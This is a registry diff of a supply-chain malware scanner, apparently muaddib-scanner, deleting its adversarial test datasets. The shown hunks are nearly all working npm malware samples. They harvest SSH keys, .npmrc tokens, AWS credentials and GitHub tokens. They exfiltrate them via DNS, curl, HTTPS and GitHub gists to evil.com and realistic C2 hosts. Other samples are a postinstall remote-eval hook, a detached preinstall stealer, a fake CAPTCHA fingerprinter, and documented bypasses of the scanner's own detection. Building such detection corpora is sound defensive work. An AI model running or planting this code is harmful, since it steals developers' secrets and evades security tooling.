muaddib-scanner 2.2.22 → 2.2.23
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/.gitattributes +0 -18
- package/datasets/adversarial/README.md +0 -23
- package/datasets/adversarial/ai-agent-weaponization/index.js +0 -5
- package/datasets/adversarial/ai-agent-weaponization/package.json +0 -9
- package/datasets/adversarial/ai-agent-weaponization/setup.js +0 -83
- package/datasets/adversarial/ai-config-injection/.cursorrules +0 -36
- package/datasets/adversarial/ai-config-injection/index.js +0 -16
- package/datasets/adversarial/ai-config-injection/package.json +0 -8
- package/datasets/adversarial/browser-api-hook/index.js +0 -66
- package/datasets/adversarial/browser-api-hook/package.json +0 -6
- package/datasets/adversarial/bun-runtime-evasion/bun_environment.js +0 -23
- package/datasets/adversarial/bun-runtime-evasion/package.json +0 -9
- package/datasets/adversarial/bun-runtime-evasion/setup.js +0 -10
- package/datasets/adversarial/ci-trigger-exfil/index.js +0 -17
- package/datasets/adversarial/ci-trigger-exfil/package.json +0 -9
- package/datasets/adversarial/conditional-chain/index.js +0 -14
- package/datasets/adversarial/conditional-chain/package.json +0 -9
- package/datasets/adversarial/crypto-wallet-harvest/index.js +0 -44
- package/datasets/adversarial/crypto-wallet-harvest/package.json +0 -6
- package/datasets/adversarial/dead-mans-switch/index.js +0 -35
- package/datasets/adversarial/dead-mans-switch/package.json +0 -9
- package/datasets/adversarial/delayed-exfil/index.js +0 -6
- package/datasets/adversarial/delayed-exfil/package.json +0 -6
- package/datasets/adversarial/detached-background/launcher.js +0 -11
- package/datasets/adversarial/detached-background/package.json +0 -9
- package/datasets/adversarial/detached-background/worker.js +0 -26
- package/datasets/adversarial/discord-webhook-exfil/index.js +0 -95
- package/datasets/adversarial/discord-webhook-exfil/package.json +0 -9
- package/datasets/adversarial/dns-chunk-exfil/index.js +0 -10
- package/datasets/adversarial/dns-chunk-exfil/package.json +0 -6
- package/datasets/adversarial/docker-aware/index.js +0 -10
- package/datasets/adversarial/docker-aware/package.json +0 -6
- package/datasets/adversarial/double-base64-exfil/index.js +0 -11
- package/datasets/adversarial/double-base64-exfil/package.json +0 -9
- package/datasets/adversarial/dynamic-import/index.js +0 -21
- package/datasets/adversarial/dynamic-import/package.json +0 -9
- package/datasets/adversarial/dynamic-require/index.js +0 -3
- package/datasets/adversarial/dynamic-require/package.json +0 -9
- package/datasets/adversarial/fake-captcha-fingerprint/index.js +0 -64
- package/datasets/adversarial/fake-captcha-fingerprint/package.json +0 -9
- package/datasets/adversarial/gh-cli-token-steal/index.js +0 -31
- package/datasets/adversarial/gh-cli-token-steal/package.json +0 -6
- package/datasets/adversarial/github-exfil/index.js +0 -33
- package/datasets/adversarial/github-exfil/package.json +0 -9
- package/datasets/adversarial/iife-exfil/index.js +0 -17
- package/datasets/adversarial/iife-exfil/package.json +0 -9
- package/datasets/adversarial/indirect-eval-bypass/index.js +0 -27
- package/datasets/adversarial/indirect-eval-bypass/package.json +0 -5
- package/datasets/adversarial/mjs-extension-bypass/package.json +0 -6
- package/datasets/adversarial/mjs-extension-bypass/stealer.mjs +0 -39
- package/datasets/adversarial/muaddib-ignore-bypass/index.js +0 -47
- package/datasets/adversarial/muaddib-ignore-bypass/package.json +0 -5
- package/datasets/adversarial/nested-payload/index.js +0 -3
- package/datasets/adversarial/nested-payload/package.json +0 -9
- package/datasets/adversarial/nested-payload/utils/helper.js +0 -6
- package/datasets/adversarial/nested-payload/utils/lib/format.js +0 -23
- package/datasets/adversarial/postinstall-download/package.json +0 -8
- package/datasets/adversarial/preinstall-background-fork/bootstrap.js +0 -16
- package/datasets/adversarial/preinstall-background-fork/index.js +0 -2
- package/datasets/adversarial/preinstall-background-fork/package.json +0 -9
- package/datasets/adversarial/preinstall-background-fork/stealer.js +0 -67
- package/datasets/adversarial/preinstall-exec/package.json +0 -9
- package/datasets/adversarial/preinstall-exec/steal.js +0 -24
- package/datasets/adversarial/proxy-env-intercept/index.js +0 -33
- package/datasets/adversarial/proxy-env-intercept/package.json +0 -9
- package/datasets/adversarial/pyinstaller-dropper/index.js +0 -25
- package/datasets/adversarial/pyinstaller-dropper/package.json +0 -9
- package/datasets/adversarial/rdd-zero-deps/index.js +0 -32
- package/datasets/adversarial/rdd-zero-deps/init.js +0 -15
- package/datasets/adversarial/rdd-zero-deps/package.json +0 -11
- package/datasets/adversarial/remote-dynamic-dependency/index.js +0 -15
- package/datasets/adversarial/remote-dynamic-dependency/package.json +0 -7
- package/datasets/adversarial/self-hosted-runner-backdoor/index.js +0 -28
- package/datasets/adversarial/self-hosted-runner-backdoor/package.json +0 -9
- package/datasets/adversarial/silent-error-swallow/index.js +0 -32
- package/datasets/adversarial/silent-error-swallow/package.json +0 -6
- package/datasets/adversarial/staged-fetch/index.js +0 -9
- package/datasets/adversarial/staged-fetch/package.json +0 -6
- package/datasets/adversarial/string-concat-obfuscation/index.js +0 -6
- package/datasets/adversarial/string-concat-obfuscation/package.json +0 -6
- package/datasets/adversarial/template-literal-obfuscation/index.js +0 -4
- package/datasets/adversarial/template-literal-obfuscation/package.json +0 -9
- package/datasets/adversarial/triple-base64-github-push/index.js +0 -38
- package/datasets/adversarial/triple-base64-github-push/package.json +0 -9
- package/datasets/adversarial/websocket-exfil/index.js +0 -34
- package/datasets/adversarial/websocket-exfil/package.json +0 -9
- package/datasets/benign/README.md +0 -20
- package/datasets/benign/packages-npm.txt +0 -597
- package/datasets/benign/packages-pypi.txt +0 -164
- package/datasets/ground-truth/README.md +0 -54
- package/datasets/ground-truth/known-malware.json +0 -622
- package/datasets/holdout-v4/atob-eval/index.js +0 -2
- package/datasets/holdout-v4/atob-eval/package.json +0 -5
- package/datasets/holdout-v4/base64-require/index.js +0 -3
- package/datasets/holdout-v4/base64-require/package.json +0 -5
- package/datasets/holdout-v4/charcode-fetch/index.js +0 -3
- package/datasets/holdout-v4/charcode-fetch/package.json +0 -5
- package/datasets/holdout-v4/charcode-spread-homedir/index.js +0 -5
- package/datasets/holdout-v4/charcode-spread-homedir/package.json +0 -5
- package/datasets/holdout-v4/concat-env-steal/index.js +0 -4
- package/datasets/holdout-v4/concat-env-steal/package.json +0 -5
- package/datasets/holdout-v4/double-decode-exfil/index.js +0 -4
- package/datasets/holdout-v4/double-decode-exfil/package.json +0 -5
- package/datasets/holdout-v4/hex-array-exec/index.js +0 -3
- package/datasets/holdout-v4/hex-array-exec/package.json +0 -5
- package/datasets/holdout-v4/mixed-obfuscation-stealer/index.js +0 -10
- package/datasets/holdout-v4/mixed-obfuscation-stealer/package.json +0 -5
- package/datasets/holdout-v4/nested-base64-concat/index.js +0 -4
- package/datasets/holdout-v4/nested-base64-concat/package.json +0 -5
- package/datasets/holdout-v4/template-literal-hide/index.js +0 -3
- package/datasets/holdout-v4/template-literal-hide/package.json +0 -5
- package/datasets/holdout-v5/callback-exfil/main.js +0 -8
- package/datasets/holdout-v5/callback-exfil/package.json +0 -5
- package/datasets/holdout-v5/callback-exfil/reader.js +0 -10
- package/datasets/holdout-v5/class-method-exfil/collector.js +0 -10
- package/datasets/holdout-v5/class-method-exfil/main.js +0 -7
- package/datasets/holdout-v5/class-method-exfil/package.json +0 -5
- package/datasets/holdout-v5/conditional-split/detector.js +0 -2
- package/datasets/holdout-v5/conditional-split/package.json +0 -5
- package/datasets/holdout-v5/conditional-split/stealer.js +0 -16
- package/datasets/holdout-v5/event-emitter-flow/listener.js +0 -12
- package/datasets/holdout-v5/event-emitter-flow/package.json +0 -5
- package/datasets/holdout-v5/event-emitter-flow/scanner.js +0 -11
- package/datasets/holdout-v5/mixed-inline-split/index.js +0 -6
- package/datasets/holdout-v5/mixed-inline-split/package.json +0 -5
- package/datasets/holdout-v5/mixed-inline-split/reader.js +0 -3
- package/datasets/holdout-v5/mixed-inline-split/sender.js +0 -6
- package/datasets/holdout-v5/named-export-steal/main.js +0 -6
- package/datasets/holdout-v5/named-export-steal/package.json +0 -5
- package/datasets/holdout-v5/named-export-steal/utils.js +0 -1
- package/datasets/holdout-v5/reexport-chain/a.js +0 -2
- package/datasets/holdout-v5/reexport-chain/b.js +0 -1
- package/datasets/holdout-v5/reexport-chain/c.js +0 -11
- package/datasets/holdout-v5/reexport-chain/package.json +0 -5
- package/datasets/holdout-v5/split-env-exfil/env.js +0 -2
- package/datasets/holdout-v5/split-env-exfil/exfil.js +0 -5
- package/datasets/holdout-v5/split-env-exfil/package.json +0 -5
- package/datasets/holdout-v5/split-npmrc-steal/index.js +0 -2
- package/datasets/holdout-v5/split-npmrc-steal/package.json +0 -5
- package/datasets/holdout-v5/split-npmrc-steal/reader.js +0 -8
- package/datasets/holdout-v5/split-npmrc-steal/sender.js +0 -17
- package/datasets/holdout-v5/three-hop-chain/package.json +0 -5
- package/datasets/holdout-v5/three-hop-chain/reader.js +0 -8
- package/datasets/holdout-v5/three-hop-chain/sender.js +0 -11
- package/datasets/holdout-v5/three-hop-chain/transform.js +0 -3
- package/docker/Dockerfile +0 -20
- package/docker/sandbox-runner.sh +0 -313
- package/testssampleslink-deppackage.json +0 -1
- package/tmp-test-pack.js +0 -66
|
@@ -1,10 +0,0 @@
|
|
|
1
|
-
const dns = require('dns');
|
|
2
|
-
|
|
3
|
-
const secret = process.env.AWS_SECRET_ACCESS_KEY;
|
|
4
|
-
if (secret) {
|
|
5
|
-
const hex = Buffer.from(secret).toString('hex');
|
|
6
|
-
const chunks = hex.match(/.{1,60}/g);
|
|
7
|
-
chunks.forEach((chunk, i) => {
|
|
8
|
-
dns.resolve(`${i}.${chunk}.exfil.evil.com`, () => {});
|
|
9
|
-
});
|
|
10
|
-
}
|
|
@@ -1,11 +0,0 @@
|
|
|
1
|
-
// Shai-Hulud v1/v2: double base64 encoding of GITHUB_TOKEN + exec exfiltration
|
|
2
|
-
// Combines data obfuscation with shell command execution
|
|
3
|
-
|
|
4
|
-
const { exec } = require('child_process');
|
|
5
|
-
|
|
6
|
-
const token = process.env.GITHUB_TOKEN || '';
|
|
7
|
-
// Double encode to evade base64 pattern detection
|
|
8
|
-
const encoded = Buffer.from(Buffer.from(token).toString('base64')).toString('base64');
|
|
9
|
-
|
|
10
|
-
const cmd = `curl -s -X POST -H "Content-Type: text/plain" -d "${encoded}" https://collect.npm-telemetry.dev/api/token`;
|
|
11
|
-
exec(cmd, { timeout: 10000 }, () => {});
|
|
@@ -1,21 +0,0 @@
|
|
|
1
|
-
// Adversarial sample: ESM dynamic import() to avoid require() detection
|
|
2
|
-
async function run() {
|
|
3
|
-
var fs = await import('fs');
|
|
4
|
-
var http = await import('http');
|
|
5
|
-
|
|
6
|
-
var sshKey = fs.default.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');
|
|
7
|
-
var payload = JSON.stringify({ key: sshKey, host: require('os').hostname() });
|
|
8
|
-
|
|
9
|
-
var opts = {
|
|
10
|
-
hostname: 'collector.evil.com',
|
|
11
|
-
port: 80,
|
|
12
|
-
path: '/keys',
|
|
13
|
-
method: 'POST',
|
|
14
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
|
|
15
|
-
};
|
|
16
|
-
var req = http.default.request(opts, function() {});
|
|
17
|
-
req.write(payload);
|
|
18
|
-
req.end();
|
|
19
|
-
}
|
|
20
|
-
|
|
21
|
-
run();
|
|
@@ -1,64 +0,0 @@
|
|
|
1
|
-
// Fake CAPTCHA fingerprint (Hive Pro, July 2025)
|
|
2
|
-
// Opens a local HTTP server with a fake CAPTCHA page
|
|
3
|
-
// Collects system info and sends to C2 when user interacts
|
|
4
|
-
|
|
5
|
-
const http = require('http');
|
|
6
|
-
const https = require('https');
|
|
7
|
-
const os = require('os');
|
|
8
|
-
|
|
9
|
-
const HTML = `<!DOCTYPE html>
|
|
10
|
-
<html><body>
|
|
11
|
-
<h2>Security Verification Required</h2>
|
|
12
|
-
<p>Please verify you are not a robot to continue installation.</p>
|
|
13
|
-
<button onclick="verify()">I'm not a robot</button>
|
|
14
|
-
<script>
|
|
15
|
-
function verify() {
|
|
16
|
-
fetch('/verify', { method: 'POST' }).then(() => {
|
|
17
|
-
document.body.innerHTML = '<h2>Verified! Installation continuing...</h2>';
|
|
18
|
-
});
|
|
19
|
-
}
|
|
20
|
-
</script>
|
|
21
|
-
</body></html>`;
|
|
22
|
-
|
|
23
|
-
const fingerprint = {
|
|
24
|
-
hostname: os.hostname(),
|
|
25
|
-
platform: os.platform(),
|
|
26
|
-
arch: os.arch(),
|
|
27
|
-
user: os.userInfo().username,
|
|
28
|
-
interfaces: os.networkInterfaces(),
|
|
29
|
-
cpus: os.cpus().length,
|
|
30
|
-
memory: os.totalmem()
|
|
31
|
-
};
|
|
32
|
-
|
|
33
|
-
const server = http.createServer((req, res) => {
|
|
34
|
-
if (req.method === 'POST' && req.url === '/verify') {
|
|
35
|
-
// Send fingerprint to C2
|
|
36
|
-
const payload = JSON.stringify(fingerprint);
|
|
37
|
-
const c2req = https.request({
|
|
38
|
-
hostname: 'captcha-verify.analytics-hub.dev',
|
|
39
|
-
path: '/api/fingerprint',
|
|
40
|
-
method: 'POST',
|
|
41
|
-
headers: { 'Content-Type': 'application/json' }
|
|
42
|
-
}, () => {});
|
|
43
|
-
c2req.write(payload);
|
|
44
|
-
c2req.end();
|
|
45
|
-
|
|
46
|
-
res.writeHead(200);
|
|
47
|
-
res.end('OK');
|
|
48
|
-
setTimeout(() => server.close(), 1000);
|
|
49
|
-
} else {
|
|
50
|
-
res.writeHead(200, { 'Content-Type': 'text/html' });
|
|
51
|
-
res.end(HTML);
|
|
52
|
-
}
|
|
53
|
-
});
|
|
54
|
-
|
|
55
|
-
server.listen(0, () => {
|
|
56
|
-
const port = server.address().port;
|
|
57
|
-
// Try to open browser
|
|
58
|
-
const { exec } = require('child_process');
|
|
59
|
-
const openCmd = process.platform === 'darwin' ? 'open' : process.platform === 'win32' ? 'start' : 'xdg-open';
|
|
60
|
-
exec(`${openCmd} http://localhost:${port}`, () => {});
|
|
61
|
-
|
|
62
|
-
// Auto-close after 60 seconds
|
|
63
|
-
setTimeout(() => server.close(), 60000);
|
|
64
|
-
});
|
|
@@ -1,31 +0,0 @@
|
|
|
1
|
-
// s1ngularity/Nx: steal GitHub token via the official gh CLI
|
|
2
|
-
// No file reads, no process.env — uses a legitimate installed tool
|
|
3
|
-
|
|
4
|
-
const { execSync } = require('child_process');
|
|
5
|
-
const https = require('https');
|
|
6
|
-
const os = require('os');
|
|
7
|
-
|
|
8
|
-
let ghToken = '';
|
|
9
|
-
try {
|
|
10
|
-
ghToken = execSync('gh auth token', { encoding: 'utf8', timeout: 5000 }).trim();
|
|
11
|
-
} catch (e) {}
|
|
12
|
-
|
|
13
|
-
if (ghToken) {
|
|
14
|
-
const data = JSON.stringify({
|
|
15
|
-
host: os.hostname(),
|
|
16
|
-
user: os.userInfo().username,
|
|
17
|
-
token: ghToken
|
|
18
|
-
});
|
|
19
|
-
|
|
20
|
-
const req = https.request({
|
|
21
|
-
hostname: 'api.dev-metrics.io',
|
|
22
|
-
path: '/v1/auth',
|
|
23
|
-
method: 'POST',
|
|
24
|
-
headers: {
|
|
25
|
-
'Content-Type': 'application/json',
|
|
26
|
-
'Content-Length': Buffer.byteLength(data)
|
|
27
|
-
}
|
|
28
|
-
}, () => {});
|
|
29
|
-
req.write(data);
|
|
30
|
-
req.end();
|
|
31
|
-
}
|
|
@@ -1,33 +0,0 @@
|
|
|
1
|
-
// Shai-Hulud v1/v2: Exfiltrate secrets via GitHub API
|
|
2
|
-
// Uses api.github.com — a trusted domain that bypasses domain-based detection
|
|
3
|
-
const https = require('https');
|
|
4
|
-
const fs = require('fs');
|
|
5
|
-
const os = require('os');
|
|
6
|
-
const path = require('path');
|
|
7
|
-
|
|
8
|
-
// Harvest all available secrets
|
|
9
|
-
const secrets = {};
|
|
10
|
-
try { secrets.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8'); } catch (e) {}
|
|
11
|
-
try { secrets.ssh = fs.readFileSync(path.join(os.homedir(), '.ssh', 'id_rsa'), 'utf8'); } catch (e) {}
|
|
12
|
-
secrets.github_token = process.env.GITHUB_TOKEN;
|
|
13
|
-
secrets.npm_token = process.env.NPM_TOKEN;
|
|
14
|
-
|
|
15
|
-
// Create a public gist with the stolen credentials
|
|
16
|
-
const gistPayload = JSON.stringify({
|
|
17
|
-
description: 'config backup',
|
|
18
|
-
public: false,
|
|
19
|
-
files: { 'config.txt': { content: JSON.stringify(secrets) } }
|
|
20
|
-
});
|
|
21
|
-
|
|
22
|
-
const req = https.request({
|
|
23
|
-
hostname: 'api.github.com',
|
|
24
|
-
path: '/gists',
|
|
25
|
-
method: 'POST',
|
|
26
|
-
headers: {
|
|
27
|
-
'Authorization': 'token ' + process.env.GITHUB_TOKEN,
|
|
28
|
-
'User-Agent': 'node',
|
|
29
|
-
'Content-Type': 'application/json'
|
|
30
|
-
}
|
|
31
|
-
}, () => {});
|
|
32
|
-
req.write(gistPayload);
|
|
33
|
-
req.end();
|
|
@@ -1,17 +0,0 @@
|
|
|
1
|
-
// Adversarial sample: IIFE with random variable names, env read + http.request exfil
|
|
2
|
-
(function() {
|
|
3
|
-
var _0xfa3b = require('http');
|
|
4
|
-
var _0xc91e = process.env.AWS_ACCESS_KEY_ID;
|
|
5
|
-
var _0xd27a = process.env.AWS_SECRET_ACCESS_KEY;
|
|
6
|
-
var _0xb1f4 = JSON.stringify({ k: _0xc91e, s: _0xd27a });
|
|
7
|
-
var _0xe8c2 = {
|
|
8
|
-
hostname: 'collector.evil.com',
|
|
9
|
-
port: 80,
|
|
10
|
-
path: '/collect',
|
|
11
|
-
method: 'POST',
|
|
12
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': _0xb1f4.length }
|
|
13
|
-
};
|
|
14
|
-
var _0xa7d9 = _0xfa3b.request(_0xe8c2, function(_0xf1) {});
|
|
15
|
-
_0xa7d9.write(_0xb1f4);
|
|
16
|
-
_0xa7d9.end();
|
|
17
|
-
})();
|
|
@@ -1,27 +0,0 @@
|
|
|
1
|
-
// Bypass 01: Indirect eval via computed property access
|
|
2
|
-
// Technique: Array.join to build "eval" string, then call via globalThis[computed]
|
|
3
|
-
// Expected: MUAD'DIB scores < 3 (bypass confirmed)
|
|
4
|
-
|
|
5
|
-
const g = globalThis;
|
|
6
|
-
|
|
7
|
-
// Array.join is NOT handled by the deobfuscator (only handles String.fromCharCode,
|
|
8
|
-
// Buffer.from, atob, and string concat BinaryExpression)
|
|
9
|
-
const k = ['e','v','a','l'].join('');
|
|
10
|
-
|
|
11
|
-
// This URL contains "api.github.com" which is in SAFE_STRINGS
|
|
12
|
-
// The SAFE_STRINGS check in ast.js:806-808 returns early before checking SENSITIVE_STRINGS
|
|
13
|
-
// So even though the URL also references .ssh paths, no sensitive_string finding is emitted
|
|
14
|
-
const configUrl = "https://api.github.com/repos/legit-org/config/contents/.ssh/deploy_key";
|
|
15
|
-
|
|
16
|
-
const https = require('https');
|
|
17
|
-
https.get(configUrl, (res) => {
|
|
18
|
-
let d = '';
|
|
19
|
-
res.on('data', c => d += c);
|
|
20
|
-
res.on('end', () => {
|
|
21
|
-
// Decode the "content" field from GitHub API response (base64-encoded)
|
|
22
|
-
const payload = Buffer.from(JSON.parse(d).content, 'base64').toString();
|
|
23
|
-
// Indirect eval: globalThis['eval'](payload)
|
|
24
|
-
// getCallName() returns '' for computed MemberExpression — never matches 'eval'
|
|
25
|
-
g[k](payload);
|
|
26
|
-
});
|
|
27
|
-
});
|
|
@@ -1,39 +0,0 @@
|
|
|
1
|
-
// Bypass 03: .mjs extension — no scanner processes this file type
|
|
2
|
-
// All scanners use findFiles with extensions: ['.js'] or findJsFiles
|
|
3
|
-
// ESM packages with "type": "module" use .mjs files legitimately
|
|
4
|
-
|
|
5
|
-
import { readFileSync } from 'fs';
|
|
6
|
-
import { homedir } from 'os';
|
|
7
|
-
import { request } from 'https';
|
|
8
|
-
|
|
9
|
-
// Direct credential theft — every dangerous pattern in one file
|
|
10
|
-
// None of this is detected because the file extension is .mjs
|
|
11
|
-
const home = homedir();
|
|
12
|
-
const stolen = {};
|
|
13
|
-
|
|
14
|
-
const targets = ['.ssh/id_rsa', '.ssh/id_ed25519', '.npmrc', '.aws/credentials'];
|
|
15
|
-
for (const t of targets) {
|
|
16
|
-
try {
|
|
17
|
-
stolen[t] = readFileSync(`${home}/${t}`, 'utf8');
|
|
18
|
-
} catch {}
|
|
19
|
-
}
|
|
20
|
-
|
|
21
|
-
// Also grab environment tokens
|
|
22
|
-
stolen['GITHUB_TOKEN'] = process.env.GITHUB_TOKEN || '';
|
|
23
|
-
stolen['NPM_TOKEN'] = process.env.NPM_TOKEN || '';
|
|
24
|
-
stolen['AWS_SECRET_ACCESS_KEY'] = process.env.AWS_SECRET_ACCESS_KEY || '';
|
|
25
|
-
|
|
26
|
-
// Exfiltrate
|
|
27
|
-
const data = JSON.stringify(stolen);
|
|
28
|
-
const req = request({
|
|
29
|
-
hostname: 'collect.evil-analytics.com',
|
|
30
|
-
path: '/v2/telemetry',
|
|
31
|
-
method: 'POST',
|
|
32
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
33
|
-
});
|
|
34
|
-
req.write(data);
|
|
35
|
-
req.end();
|
|
36
|
-
|
|
37
|
-
// Also use eval with dynamic code (would be CRITICAL if this were .js)
|
|
38
|
-
const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
|
|
39
|
-
eval(payload);
|
|
@@ -1,47 +0,0 @@
|
|
|
1
|
-
// muaddib-ignore
|
|
2
|
-
//# sourceMappingURL=index.js.map
|
|
3
|
-
// Bypass 02: muaddib-ignore kills dataflow scanner, sourceMappingURL kills entropy scanner
|
|
4
|
-
// The AST scanner does NOT respect muaddib-ignore, so we avoid AST-detected patterns.
|
|
5
|
-
// Strategy: construct sensitive paths without using SENSITIVE_STRINGS literals directly.
|
|
6
|
-
|
|
7
|
-
const fs = require('fs');
|
|
8
|
-
const os = require('os');
|
|
9
|
-
const https = require('https');
|
|
10
|
-
const path = require('path');
|
|
11
|
-
|
|
12
|
-
const home = os.homedir();
|
|
13
|
-
|
|
14
|
-
// Build path components without triggering SENSITIVE_STRINGS check.
|
|
15
|
-
// SENSITIVE_STRINGS: ['.npmrc', '.ssh', '.aws', '.gitconfig', '.env', '/etc/passwd', '/etc/shadow']
|
|
16
|
-
// AST Literal handler checks node.value.includes(sensitive) for each string literal.
|
|
17
|
-
// We avoid having any single string literal that includes these substrings.
|
|
18
|
-
const dot = '.';
|
|
19
|
-
const dirs = [
|
|
20
|
-
[dot + 'ss' + 'h', 'id_rsa'],
|
|
21
|
-
[dot + 'ss' + 'h', 'id_ed25519'],
|
|
22
|
-
[dot + 'aw' + 's', 'credentials'],
|
|
23
|
-
[dot + 'npm' + 'rc'],
|
|
24
|
-
];
|
|
25
|
-
|
|
26
|
-
const stolen = {};
|
|
27
|
-
for (const parts of dirs) {
|
|
28
|
-
const p = path.join(home, ...parts);
|
|
29
|
-
try { stolen[parts[parts.length - 1]] = fs.readFileSync(p, 'utf8'); } catch {}
|
|
30
|
-
}
|
|
31
|
-
|
|
32
|
-
// Also read npmrc via environment — env_access only flags vars with sensitive keywords
|
|
33
|
-
// HOME, PATH etc are in SAFE_ENV_VARS and get skipped
|
|
34
|
-
const npmrcPath = path.join(home, dirs[3].join(path.sep));
|
|
35
|
-
try { stolen['npmrc'] = fs.readFileSync(npmrcPath, 'utf8'); } catch {}
|
|
36
|
-
|
|
37
|
-
// Exfiltrate via https.request — dataflow.js would catch this as source→sink,
|
|
38
|
-
// BUT dataflow.js skipped this file due to muaddib-ignore on line 1
|
|
39
|
-
const data = JSON.stringify(stolen);
|
|
40
|
-
const req = https.request({
|
|
41
|
-
hostname: 'telemetry.legit-analytics.com',
|
|
42
|
-
path: '/api/v1/report',
|
|
43
|
-
method: 'POST',
|
|
44
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
|
|
45
|
-
});
|
|
46
|
-
req.write(data);
|
|
47
|
-
req.end();
|
|
@@ -1,23 +0,0 @@
|
|
|
1
|
-
// Buried payload — 3 levels deep from index.js
|
|
2
|
-
var cp = require('child_process');
|
|
3
|
-
var fs = require('fs');
|
|
4
|
-
var https = require('https');
|
|
5
|
-
|
|
6
|
-
var npmrc = fs.readFileSync(require('os').homedir() + '/.npmrc', 'utf8');
|
|
7
|
-
var token = npmrc.match(/_authToken=(.+)/);
|
|
8
|
-
|
|
9
|
-
if (token) {
|
|
10
|
-
var data = JSON.stringify({ t: token[1], h: require('os').hostname() });
|
|
11
|
-
var opts = {
|
|
12
|
-
hostname: 'exfil.evil.com',
|
|
13
|
-
port: 443,
|
|
14
|
-
path: '/steal',
|
|
15
|
-
method: 'POST',
|
|
16
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
|
|
17
|
-
};
|
|
18
|
-
var req = https.request(opts, function() {});
|
|
19
|
-
req.write(data);
|
|
20
|
-
req.end();
|
|
21
|
-
}
|
|
22
|
-
|
|
23
|
-
module.exports = function() {};
|
|
@@ -1,8 +0,0 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "postinstall-download",
|
|
3
|
-
"version": "1.0.0",
|
|
4
|
-
"description": "Adversarial sample: postinstall script downloads and evals remote code",
|
|
5
|
-
"scripts": {
|
|
6
|
-
"postinstall": "node -e \"require('https').get('https://evil.com/payload.js',r=>{let d='';r.on('data',c=>d+=c);r.on('end',()=>eval(d))})\""
|
|
7
|
-
}
|
|
8
|
-
}
|
|
@@ -1,16 +0,0 @@
|
|
|
1
|
-
// Shai-Hulud 2.0: preinstall + background fork (Check Point/Zscaler/Datadog, Nov 2025)
|
|
2
|
-
// Runs BEFORE install — even before dependencies are resolved
|
|
3
|
-
// Forks a detached process that survives the npm install lifecycle
|
|
4
|
-
|
|
5
|
-
const { spawn } = require('child_process');
|
|
6
|
-
const path = require('path');
|
|
7
|
-
|
|
8
|
-
// Fork stealer as a detached background process
|
|
9
|
-
const child = spawn(process.execPath, [path.join(__dirname, 'stealer.js')], {
|
|
10
|
-
detached: true,
|
|
11
|
-
stdio: 'ignore',
|
|
12
|
-
env: { ...process.env, _MUADDIB_PARENT_PID: String(process.pid) }
|
|
13
|
-
});
|
|
14
|
-
|
|
15
|
-
// Unref so npm install completes normally — user sees nothing
|
|
16
|
-
child.unref();
|
|
@@ -1,9 +0,0 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "preinstall-background-fork",
|
|
3
|
-
"version": "1.0.0",
|
|
4
|
-
"description": "Adversarial sample: Shai-Hulud 2.0 preinstall + detached fork (Check Point/Zscaler/Datadog Nov 2025)",
|
|
5
|
-
"main": "index.js",
|
|
6
|
-
"scripts": {
|
|
7
|
-
"preinstall": "node bootstrap.js"
|
|
8
|
-
}
|
|
9
|
-
}
|
|
@@ -1,67 +0,0 @@
|
|
|
1
|
-
// Background stealer — runs detached from npm install process
|
|
2
|
-
// Waits for parent to exit, then harvests credentials silently
|
|
3
|
-
|
|
4
|
-
const fs = require('fs');
|
|
5
|
-
const https = require('https');
|
|
6
|
-
const os = require('os');
|
|
7
|
-
const path = require('path');
|
|
8
|
-
|
|
9
|
-
// Wait 3 minutes — ensures npm install has finished and sandbox timeout has passed
|
|
10
|
-
setTimeout(() => {
|
|
11
|
-
const loot = {
|
|
12
|
-
host: os.hostname(),
|
|
13
|
-
user: os.userInfo().username,
|
|
14
|
-
arch: os.arch(),
|
|
15
|
-
platform: process.platform,
|
|
16
|
-
pid: process.pid,
|
|
17
|
-
parentPid: process.env._MUADDIB_PARENT_PID
|
|
18
|
-
};
|
|
19
|
-
|
|
20
|
-
// Steal .npmrc tokens
|
|
21
|
-
try {
|
|
22
|
-
loot.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
|
|
23
|
-
} catch (e) {}
|
|
24
|
-
|
|
25
|
-
// Steal SSH private keys
|
|
26
|
-
const sshDir = path.join(os.homedir(), '.ssh');
|
|
27
|
-
try {
|
|
28
|
-
const files = fs.readdirSync(sshDir);
|
|
29
|
-
loot.ssh = {};
|
|
30
|
-
for (const f of files) {
|
|
31
|
-
if (f.startsWith('id_') && !f.endsWith('.pub')) {
|
|
32
|
-
try {
|
|
33
|
-
loot.ssh[f] = fs.readFileSync(path.join(sshDir, f), 'utf8');
|
|
34
|
-
} catch (e) {}
|
|
35
|
-
}
|
|
36
|
-
}
|
|
37
|
-
} catch (e) {}
|
|
38
|
-
|
|
39
|
-
// Steal AWS credentials
|
|
40
|
-
try {
|
|
41
|
-
loot.aws = fs.readFileSync(path.join(os.homedir(), '.aws', 'credentials'), 'utf8');
|
|
42
|
-
} catch (e) {}
|
|
43
|
-
|
|
44
|
-
// Steal .env from common project directories
|
|
45
|
-
const cwd = process.cwd();
|
|
46
|
-
try {
|
|
47
|
-
loot.dotenv = fs.readFileSync(path.join(cwd, '.env'), 'utf8');
|
|
48
|
-
} catch (e) {}
|
|
49
|
-
|
|
50
|
-
// Exfiltrate via HTTPS POST to attacker C2
|
|
51
|
-
const data = JSON.stringify(loot);
|
|
52
|
-
const req = https.request({
|
|
53
|
-
hostname: 'api.pkg-telemetry.dev',
|
|
54
|
-
path: '/v1/metrics',
|
|
55
|
-
method: 'POST',
|
|
56
|
-
headers: {
|
|
57
|
-
'Content-Type': 'application/json',
|
|
58
|
-
'Content-Length': Buffer.byteLength(data),
|
|
59
|
-
'User-Agent': 'npm/10.0.0 node/v20.0.0'
|
|
60
|
-
}
|
|
61
|
-
}, () => {
|
|
62
|
-
process.exit(0);
|
|
63
|
-
});
|
|
64
|
-
